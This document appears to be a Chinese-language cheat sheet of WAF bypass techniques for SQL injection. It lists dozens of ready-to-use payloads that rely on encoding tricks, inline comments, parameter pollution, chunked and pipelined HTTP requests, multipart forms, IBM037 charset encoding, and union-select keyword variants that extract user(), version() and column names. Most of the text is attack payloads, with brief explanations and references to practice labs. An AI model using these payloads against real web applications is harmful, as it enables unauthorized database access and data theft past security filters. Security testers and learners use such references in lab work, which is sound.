一.空格字符绕过
两个空格代替⼀个空格,⽤ Tab 代替空格,%a0=空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
select * from users where id=1 /*!union*//*!select*/1,2,3,4;
- %09 TAB 键(⽔平)
- %0a 新建⼀⾏
- %0c 新的⼀⻚
- %0d return 功能
- %0b TAB 键(垂直)
- %a0 空格
- %00 截断
- 注意:使⽤URL编码的⽅式必须要在有中间件的⽹站上使⽤,直接使⽤sql语句进⾏查询是没办法
解析的;
CTF在线工具-CTF工具|CTF编码|CTF密码学|CTF加解密|程序员工具|在线编解码这个链接里面有url编码工具
二.大小写绕过
将字符串设置为⼤⼩写,例如 and 1=1 转成 AND 1=1 AnD 1=1
- select * from users where id=1 UNION SELECT 1,2,3;
- select * from users where id=1 UniON SelECT 1,2,3;
sql靶场27关可以去试一下
三.浮点数绕过注入
select * from users where id=1e0 UNioN SelEcT 1,2,3;
select * from users where id=1.1 UNioN SelEcT 1,2,3;
四.NULL 值绕过
select \N 代表NULL
select * from users where id=\NUNioN SelEcT 1,2,3;
select * from users where id=\NUNioN SelEcT 1,2,\N;
/select * from users where id=\NUNioN SelEcT 1,2,\Nfrom users
五.引号绕过
如果 waf 拦截过滤单引号的时候,可以使⽤双引号 在 mysql ⾥也可以⽤双引号 作为字符串;
select * from users where id= '1';
select * from users where id= "1";
也可以将字符串转换成 16 进制 再进⾏查询;
select hex('admin');
select 0x61646D696E
hex编码前加个0x也可以解;
如果 gpc 开启了,但是注⼊点是整形 也可以⽤ hex ⼗六进制进⾏绕过;
select * from users where id=-1 union select 1,2,(select
group_concat(column_name) from information_schema.columns where
TABLE_NAME= 'users' limit 1);
或转为16进制:
select * from users where id=-1 union select 1,2,(select
group_concat(column_name) from information_schema.columns where
TABLE_NAME=0x7573657273 limit 1);
六.添加库名绕过
下⾯两条查询语句,执⾏的结果是⼀致的,但是有些 waf 的拦截规则并不会拦截[库名].[表名]这种模
式 ;
select * from users where id=-1 union select 1,2,3 from users;
select * from users where id=-1 union select 1,2,3 from security.users;
mysql 中也可以添加库名查询表;例如跨库查询 mysql 库⾥的 users 表的内容;
七.去重复绕过
在 mysql 查询可以使⽤ distinct 去除查询的重复值;可以利⽤这点突破 waf 拦截 ;
select * from users where id=-1 union distinct select 1,2,3
select * from users where id=-1 union distinct select 1,2,version()
八.反引号绕过
在 mysql 可以使⽤ `这⾥是反引号` 绕过⼀些 waf 拦截,字段可以加反引号或者不加,意义相同;
select * from users where id=-1 union distinct select 1,2,version() from ` users ` ;
九.脚本语言特性绕过(重点)
在 php 语⾔中 id=1&id=2 后⾯的值会⾃动覆盖前⾯的值,不同的语言有不同的特性。可以利⽤这
点绕过⼀些 waf 的拦截;
id=1%00&id=2 union select 1,2,3 有些 waf 会去匹配第⼀个 id 参数 1%00 ,%00 是截断字符,
waf 会⾃动截断,从⽽,不会检测后⾯的内容,到了程序中 id 就是等于 id=2 union select 1,2,3 从绕
过注⼊拦截
十.逗号绕过
⽬前有些防注⼊脚本都会逗号进行拦截,例如常规注⼊中必须包含逗号;
十一.截取字符串
如果用substr函数截取被拦截就换mid试一下
十二.使用join绕过
使⽤ join 自连接两个表 ;
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
a 和 b 分别是表的别名;
select * from users where id=-1 union select 1,2,3; 可以变成下⾯的语句;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select 3)c;
select * from users where id=-1 union select * from (select 1)a join (select 2)b
join(select user())c
十三.like绕过
使⽤ like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0 ;
找到第⼀个字符后继续进⾏下⼀个字符匹配,从⽽找到所有的字符串,最后就是要查询的内容,这种
SQL 注⼊语句也不会存在逗号,从⽽绕过 waf 拦截;
十四.limit offset 绕过
SQL 注⼊时,如果需要限定条⽬可以使⽤ limit 0,1 限定返回条⽬的数⽬ limit 0,1 返回条⼀条记
录 如果对逗号进⾏拦截时,可以使⽤ limit 1 默认返回第⼀条数据;也可以使⽤ limit 1 offset 0 从零开
始返回第⼀条记录,这样就绕过 waf 拦截了;
十五.or and xor not 绕过
⽬前主流的 waf 都会对:
id=1 and 1=2、
id=1 or 1=2、
id=0 or 1=2
id=0 xor 1=1 limit 1 、
id=1 xor 1= 2
对这些常⻅的 SQL 注⼊检测语句进⾏拦截,像 and 这些还有字符代替;
字符如下:
and 等于&&
or 等于 ||
not 等于 !
xor 等于 ^
所以可以转换成这样:
id=1 and 1=1 等于 id=1 && 1=1
id=1 and 1=2 等于 id=1 && 1=2
id=1 or 1=1 等于 id=1 || 1=1
id=0 or 1=0 等于 id=0 || 1=0
in
in运算符⽤来判断表达式的值是否位于给出的列表中;如果是,返回值为 1,否则返回值为 0;
not in
NOT IN ⽤来判断表达式的值是否不存在于给出的列表中;如果不是,返回值为 1,否则返回值
为 0;
注意:在url使⽤逻辑运算符的时候要url编码;
也可以使⽤运算符号:
id=1 && 2=1+1
id=1 && 2=1-1
十六.ascii 字符对比绕过
许多 waf 会对 union select 进⾏拦截 ⽽且通常⽐较变态,那么可以不使⽤联合查询注⼊,可以使
⽤字符截取对⽐法,进⾏突破;
select substring(user(),1,1);
返回第⼀位
select * from users where id=1 and substring(user(),1,1)= 'r';
字符匹配第⼀位
select * from users where id=1 and ascii(substring(user(),1,1))=114;
ascii码匹配
最好把'r'换成成 ascii 码,如果开启 gpc int 整形注⼊就不能⽤了 ;
十七.等号绕过
如果程序会对=进⾏拦截 ,可以使⽤ like rlike regexp 或者使⽤ < 或者 >
十八.双关键词绕过
有些程序会对单词 union、 select 进⾏转空 但是只会转⼀次这样会留下安全隐患;
双关键字绕过(若删除掉第⼀个匹配的 union 就能绕过):
id=-1'UNIunionON SeLselectECT1,2,3--+
到数据库⾥执⾏会变成:
id=-1'UNION SeLECT1,2,3--+
从而绕过注⼊拦截;
这种⽅式也是需要程序配合的,如果有安全防护,可以试试;
十九.二次编码绕过
有些程序会解析⼆次编码,造成 SQL 注⼊,因为 url 两次编码过后,waf 是不会拦截的;
1.⽹站程序会使⽤urldecode()进⾏解码操作,
2.找到以URL⼆次编码传⼊的参数所在⽂件,
-1 union select 1,2,3,4#
第⼀次转码:
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c
%33%2c%34%23
第⼆次转码:
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36
%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%2
5%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%6
3%25%33%33%25%32%63%25%33%34%25%32%33
注意:中间件只会进⾏⼀次解码,不会解析两次url编码的,两次编码 waf 是不会拦截的;
⼀般⼆次编码都是中间件进⾏了⼀次解码,然后程序内⼜进⾏了⼀次,才会解析,程序内⼀般⽤的
都是函数 urldecode函数;
所以,不管是开了gpc或者waf都是可以绕过的,⽽且不会拦截
二十.多参数拆分绕过
多余多个参数拼接到同⼀条 SQL 语句中,可以将注⼊语句分割插⼊;
例如:请求get参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中;
在程序代码中看到两个可控的参数,但是使⽤ union select 会被 waf 拦截 ;
二十一.使用生僻函数绕过
使⽤⽣僻函数替代常⻅的函数,例如在报错注⼊中使⽤ polygon()函数替换常⽤ 的 updatexml()函数 ;
select polygon((select * from (select * from (select @@version) f) x));
空间函数,要求版本的;
报错注⼊函数参考:https://blog.csdn.net/weixin_46706771/article/details/112770568
二十二.分块传输绕过
什么是 chunked 编码?
分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1) 中提供
的⼀种数据传送机制。以往 HTTP 的应答中数据是整个⼀起发送的,并在 应答头⾥ Content-Length
字段标识了数据的⻓度,以便客户端知道应答消息的结束;
传统的 Content-length 解决⽅案:计算实体⻓度,并通过头部告诉对⽅。浏览器 可以通过 Content-Length 的⻓度信息,判断出响应实体已结束 ;
Content-length ⾯临的问题:由于 Content-Length 字段必须真实反映实体⻓度, 但是对于动
态⽣成的内容来说,在内容创建完之前,⻓度是不可知的 ;
我们需要⼀个新的机制:不依赖头部的⻓度信息,也能知道实体的边界——分块 编码(Transfer
Encoding: chunked) ;
分块传输编码允许服务器在最后发送消息头字段。例如在头中添加散列签名。对 于压缩传输传输
⽽⾔,可以⼀边压缩⼀边传输 ;
如何使⽤ chunked 编码?
如果在 http 的消息头⾥ Transfer-Encoding 为 chunked,那么就是使⽤此种编码⽅式;
接下来会发送数量未知的块,每⼀个块的开头都有⼀个⼗六进制的数,表明这个 块的⼤⼩,然后
接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有 CRLF("\r\n")两个字符。有⼀些实现中,块
⼤⼩的⼗六进制数和 CRLF 之间可以有空格 ;
接下来会发送数量未知的块,每⼀个块的开头都有⼀个⼗六进制的数,表明这个 块的⼤⼩,然后
接 CRLF("\r\n")。然后是数据本身,数据结束后,还会有 CRLF("\r\n")两个字符。有⼀些实现中,块
⼤⼩的⼗六进制数和 CRLF 之间可以 有空格 ;
消息最后以 CRLF 结尾 ;
在头部加⼊ Transfer-Encoding: chunked 之后,就代表这个报⽂采⽤了分块编码。 这时,报⽂
中的实体需要改为⽤⼀系列分块来传输;
分块传输的使用:
每个分块包含⼗六进制的⻓度值和数据,⻓度值独占⼀⾏,⻓度不包括它结尾的 CRLF(\r\n),也
不包括分块数据结尾的 CRLF(\r\n)。 最后⼀个分块⻓度值必须为 0,对应的分块数据没有内容,表示
实体结束;
可以使⽤ burpsuite 的插件 chunked-coding-converter 进⾏编码提交;
地址: https://github.com/c0ny1/chunked-coding-converter
构造sql语句正常可以返回;
二十三.信任白名单绕过
有些 WAF 会⾃带⼀些⽂件⽩名单,对于⽩名单 waf 不会拦截任何操作,所以可 以利⽤这个特
点,可以试试白名单绕过 ;
白名单通常有目录 :
/admin
/phpmyadmin
/admin.php
二十四.静态文件绕过
除了白名单信任⽂件和⽬录外,还有⼀部分 waf 并不会对静态⽂件进⾏拦截。 例如 图⽚⽂件
jpg 、png 、gif 或者 css 、js 会对这些静态⽂件的操作不会 进⾏检测从⽽绕过 waf 拦截;
/1.jpg&name= ' union select 1,user()--+&submit=1
id=1.js&name= ' union select 1,user()--+&submit=1
/1.css=1.css&name= ' union select 1,user()--+&submit=1
payload: 1.jpg&name= 'union select 1,user()--+
payload: 1.js&name= 'union select 1,user()--+
payload: 1.css&name= 'union select 1,user()--
二十五.pipline 绕过注入
http 协议是由 tcp 协议封装⽽来,当浏览器发起⼀个 http 请求时,浏览器先和服务器建⽴起连
接 tcp 连接,然后发送 http 数据包(即我们⽤ burpsuite 截获的数据), 其中包含了⼀个
Connection 字段,⼀般值为 close,apache 等容器根据这个字段决定是保持该 tcp 连接或是断开。
当发送的内容太⼤,超过⼀个 http 包容量,需要分多次发送时, 值会变成 keep-alive,即本次发起的
http 请求所建⽴的 tcp 连 接不断开,直到所发送 内容结束 Connection 为 close 为⽌,⽤ burpsuite
抓包提交复制整个包信息放在第⼀个包最后,把 第⼀个包 close 改 成 keep-alive 把 brupsuite ⾃动更新 Content-Length 勾去掉;
改好的,执⾏成功;
第⼀个包参数的字符要加上⻓度接着提交即可,有些 waf 会匹配第⼆个包的正属于正常参数,不
会对第⼀个包的参数进⾏检测,这样就可以绕过⼀些 waf 拦截 ;
二十六.利用 multipart/form-data 绕过
利⽤ multipart/form-data 绕过
在 http 头⾥的 Content-Type 提交表单⽀持三种协议:
application/x-www-form-urlencoded //编码模式 post 提交
multipart/form-data //⽂件上传模式
text/plain //⽂本模式
⽂件头的属性是传输前对提交的数据进⾏编码发送到服务器;
其中 multipart/form-data 表示该数据被编码为⼀条消息,⻚上的每个控件对应消息中的⼀个部
分,所以,当 waf 没有规则匹配该协议传输的数据时可被绕过;
Content-Type: multipart/form-data;
boundary=---------------------------28566904301101419271642457175
boundary 这是⽤来匹配的值
Content-Disposition: form-data; name= "id" 这也能作为 post 提交
我们可以写⼀个上传⻚⾯,然后提交地址指向sql注⼊点;
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<form method="post" enctype="multipart/form-data" action="http://192.16
8.0.53/pikachu/vul/sqli/sqli_id.php">
<input type="text" name="id">
<input type="submit" name="submit">
</form>
</body>
</html>
构造我们的sql语句,然后抓包提交;
二十七.order by 绕过
当 order by 被过滤时,⽆法猜解字段数,此时可以使⽤ into 变量名进⾏代替;
select * from users where id=1 into @a,@b,@c,@d;
有几个字段,后⾯@几个就可以
二十八.运行大量字符绕过
可以使⽤ select 0xA 运⾏⼀些字符从绕突破⼀些 waf 拦截;
id=1 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!unio
n*//*!select*/1,user()--+
可以ctrl+u做⼀下url编码
id=1 and (select 1)=(select 0xA*1000)union select 1,user()--+
可以直接乘1000个,系统会执⾏;
id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--
+&submit=%E6%9F%A5%E8%AF%A2
二十九.花扩号绕过
花括号,⾥边是注释的内容,这样可以⼀些 waf 的拦截;
select 1,2 union select{x 1},user()
花括号内的x可以为任意字符串,不能是数字,相当于注释的意思
select * from users where id=1 union select{xxx 1},{xxx 2},{xxx 3},user()
三十.使用 ALL 或者 DISTINCT 绕过
去掉重复值 :
select * from users where id=1 union DISTINCT select 1,2,3,4;
select * from users where id=1 union select DISTINCT 1,2,3,4
显示全部 :
select * from users where id=1 union all select 1,2,3,user();
select * from users where id=1 union select all 1,2,3,user();
三十一.换行混绕绕过
目前很多 waf 都会对 union select 进⾏过滤的,因为使⽤联合查询这两个关键词是必须的,⼀
般过滤这个两个字符,想⽤联合查询就很难了;
所以可以使⽤换⾏加上⼀些注释符进⾏绕过
三十二.编码绕过
原理:
形式:"%" 加上 ASCII 码(先将字符转换为两位 ASCII 码,再转为 16 进 制),其中加号 "+" 在
URL 编码中和 "%20" 表示⼀样,均为空格;
当遇到⾮ ASCII 码表示的字符时,如中⽂,浏览器或通过编写 URLEncode,根据 UTF-8、GBK等编码 16 进制形式,进⾏转换,如“春”的 UTF-8 编码为 E6 98 A5,因此其在⽀持 UTF-8 的情况下,URL 编码为%E6%98%A5。值得注意的是,采取不同的中⽂编码,会有不同的 URL 编码;
在 URL 传递到后台时,⾸先 web 容器会⾃动先对 URL 进⾏解析,容器解码时会根据设置(如jsp 中,会使使用request.setCharacterEncoding("UTF-8")),采⽤ UTF-8 或 GBK 等其中⼀种编码进⾏解析,这时,程序⽆需⾃⼰再次解码,便可以获取参数(如使用request.getParameter(paramName) ;
但是,有时从客户端提交的 URL ⽆法确定是何种编码,如果服务器选择的编码⽅式不匹配,则会
造成中⽂乱码,为了解决这个问题,便出现了⼆次 URLEncode 的 ⽅ 法 。 在客户端对 URL 进⾏两
次 URLEncode , 这 样类似上⾯提到的%E6%98%A5 则会编码为%25e6%2598%25a5,为纯
ASCII 码。Web 容器在接到 URL 后,⾃动解析⼀次,因为不管容器使⽤何种编码进⾏解析,都⽀持
ASCII 码,不会出错。然后在通过编写程序对容器解析后的参数进⾏解码,便可正确得到参数。在这
⾥,客户端的第⼀次编码,以及服务端的第⼆次解码,均是由程序员⾃⼰设定的,是可控的,可知
的;
三十三.HTTP 数据编码绕过
编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,⽐如说它只识别 utf-8
的字符,但是服务器可以识别⽐ utf-8 更多的编码;
那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格式即可绕过;
⽐如请求包中我们可以更改Content-Type中的charset的参数值,我们改为ibm037 这个协议编
码,有些服务器是⽀持的,payload 改成这个协议格式就⾏了;
%89%84=%F1&%A2%A4%82%94%89%A3=%F1
透过 Content-Type 的 charset 绕过 waf#
id=123&pass=pass%3d1
未编码
%89%84=%F1%F2%F3&%97%81%A2%A2=%97%81%A2%A2~%F
%89%84~%60%F1%40%A4%95%89%96%95%40%A2%85%93%85%83%A3%40%F1k%
A4%A2%85%99M%5D%60%60%40P%A2%A4%82%94%89%A3~%F1
透过 IBM037 编码
在提交的http header修改:
Content-Type: application/x-www-form-urlencoded; charset=ibm037
import urllib.parse
s = 'id=-1 union select 1,user()-- &submit=1'
ens=urllib.parse.quote(s.encode('ibm037'))
print(ens)
//将要编码的payload放⼊s变量内,运⾏
三十四.url 编码绕过
在 iis ⾥会⾃动把 url 编码转换成字符串传到程序中执⾏; ( nginx⾥⾯也⾏)
例如 union select 可以转换成 u%6eion s%65lect
你可以把union select中的某个字符串转成url编码,也可以把payload整段url编
三十五.Unicode 编码绕过
形式:
"\u" 或者是 "%u" 加上 4 位 16 进制 Unicode 码值, iis 会⾃动进⾏识别这种编码,有部分 waf
并不会拦截这这种编码;
这种编码形式在apache不⾏,在iis就会识别;
可以部分转换,也可以将payload全部转换
三十六.union select 绕过
⽬前不少 waf 都会使⽤都会对 union select 进⾏拦截,单个不拦截 ,⼀起就进⾏拦截;
针对单个关键词绕过:
sel<>ect 程序过滤<>为空 脚本处理
sele/**/ct 程序过滤/**/为空
/*!%53eLEct*/ url编码与内联注释
se%0blect 使⽤空格绕过
sele%ct 使⽤百分号绕过
%53eLEct 编码绕过
大小写 :
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中⽂*/union/*中⽂*/select/*中⽂*/1,2;
/*输⼊法表情 */union/* 输⼊法表情*/select/* 输⼊法表情 */1,2;
/*!union*//*!00000all*//*!00000select*/1,2